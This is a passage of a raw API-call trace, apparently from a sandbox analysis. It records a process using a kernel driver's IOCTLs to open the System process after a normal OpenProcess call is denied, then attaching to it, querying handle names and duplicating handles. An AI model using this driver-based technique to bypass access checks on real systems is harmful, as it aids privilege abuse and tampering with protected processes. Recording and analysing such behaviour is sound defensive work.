ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x234c50, ReturnLength=0x0) returned 0x0 [0088.845] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x234c50 | out: hHeap=0x210000) returned 1 [0088.845] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.845] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.846] PsAcquireProcessExitSynchronization () returned 0x0 [0088.846] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.846] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0088.846] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.846] PsReleaseProcessExitSynchronization () returned 0x2 [0088.846] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.846] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.846] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0088.846] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.846] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.846] CloseHandle (hObject=0xc8) returned 1 [0088.846] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.846] GetLastError () returned 0x5 [0088.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0088.846] ZwOpenProcess (in: ProcessHandle=0xfffffa80027881c0, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005233688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005233678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa80027881c0*=0xc8) returned 0x0 [0088.846] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.846] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0088.846] ZwOpenProcess (in: ProcessHandle=0xfffff880052335f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005233608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880052335f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880052335f0*=0xffffffff80000b1c) returned 0x0 [0088.846] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000b1c, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa80027881c0, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa80027881c0*=0xc0) returned 0x0 [0088.846] ZwClose (Handle=0xffffffff80000b1c) returned 0x0 [0088.846] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.846] CloseHandle (hObject=0xc8) returned 1 [0088.846] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0088.846] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x78) returned 0x24eb50 [0088.846] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x24eb50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x24eb50, ReturnLength=0x0) returned 0x0 [0088.846] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x24eb50 | out: hHeap=0x210000) returned 1 [0088.846] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0088.847] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.847] PsAcquireProcessExitSynchronization () returned 0x0 [0088.847] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.847] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0088.847] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.847] PsReleaseProcessExitSynchronization () returned 0x2 [0088.847] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.847] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.847] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0088.847] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.847] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.847] CloseHandle (hObject=0xc0) returned 1 [0088.847] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.847] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.847] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0088.847] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.847] PsAcquireProcessExitSynchronization () returned 0x0 [0088.847] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.847] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0088.847] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.847] PsReleaseProcessExitSynchronization () returned 0x2 [0088.847] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.847] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.847] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0088.848] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.848] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.848] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.848] PsAcquireProcessExitSynchronization () returned 0x0 [0088.848] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.848] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0088.848] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.848] PsReleaseProcessExitSynchronization () returned 0x2 [0088.848] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.848] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a21044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a21044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.848] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0088.848] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.848] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.848] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.848] PsAcquireProcessExitSynchronization () returned 0x0 [0088.848] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.848] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0088.848] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.848] PsReleaseProcessExitSynchronization () returned 0x2 [0088.848] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.848] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a20044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a20044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.848] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0088.848] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.848] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.848] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.848] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.848] PsAcquireProcessExitSynchronization () returned 0x0 [0088.848] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.849] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0088.849] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.849] PsReleaseProcessExitSynchronization () returned 0x2 [0088.849] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.849] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0088.849] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.849] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.849] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.849] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.849] PsAcquireProcessExitSynchronization () returned 0x0 [0088.849] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.849] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0088.849] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.849] PsReleaseProcessExitSynchronization () returned 0x2 [0088.849] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab0044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.849] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0088.849] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.849] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.849] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.849] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.849] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.849] PsAcquireProcessExitSynchronization () returned 0x0 [0088.849] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.849] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0088.849] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.849] PsReleaseProcessExitSynchronization () returned 0x2 [0088.849] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.849] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab1044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.849] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0088.849] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.850] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.850] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.850] PsAcquireProcessExitSynchronization () returned 0x0 [0088.850] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.850] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0088.850] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.850] PsReleaseProcessExitSynchronization () returned 0x2 [0088.850] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.850] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab2044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab2044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.850] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0088.850] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.850] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.850] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.850] PsAcquireProcessExitSynchronization () returned 0x0 [0088.850] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.850] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0088.850] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.850] PsReleaseProcessExitSynchronization () returned 0x2 [0088.850] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.850] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab4044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab4044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.850] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0088.850] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.850] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.850] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.850] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.850] PsAcquireProcessExitSynchronization () returned 0x0 [0088.850] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.850] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0088.851] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.851] PsReleaseProcessExitSynchronization () returned 0x2 [0088.851] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.851] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab5044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab5044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.851] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0088.851] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.851] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.851] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.851] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.851] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.851] PsAcquireProcessExitSynchronization () returned 0x0 [0088.851] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.851] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0088.851] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.851] PsReleaseProcessExitSynchronization () returned 0x2 [0088.851] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.851] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab6044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab6044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.851] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0088.851] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.851] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.851] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.851] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.851] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.851] PsAcquireProcessExitSynchronization () returned 0x0 [0088.851] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.851] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0088.851] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.851] PsReleaseProcessExitSynchronization () returned 0x2 [0088.851] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.851] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab7044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab7044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.851] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0088.851] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.851] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.851] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.852] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0088.852] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.852] PsAcquireProcessExitSynchronization () returned 0x0 [0088.852] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.852] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0088.852] 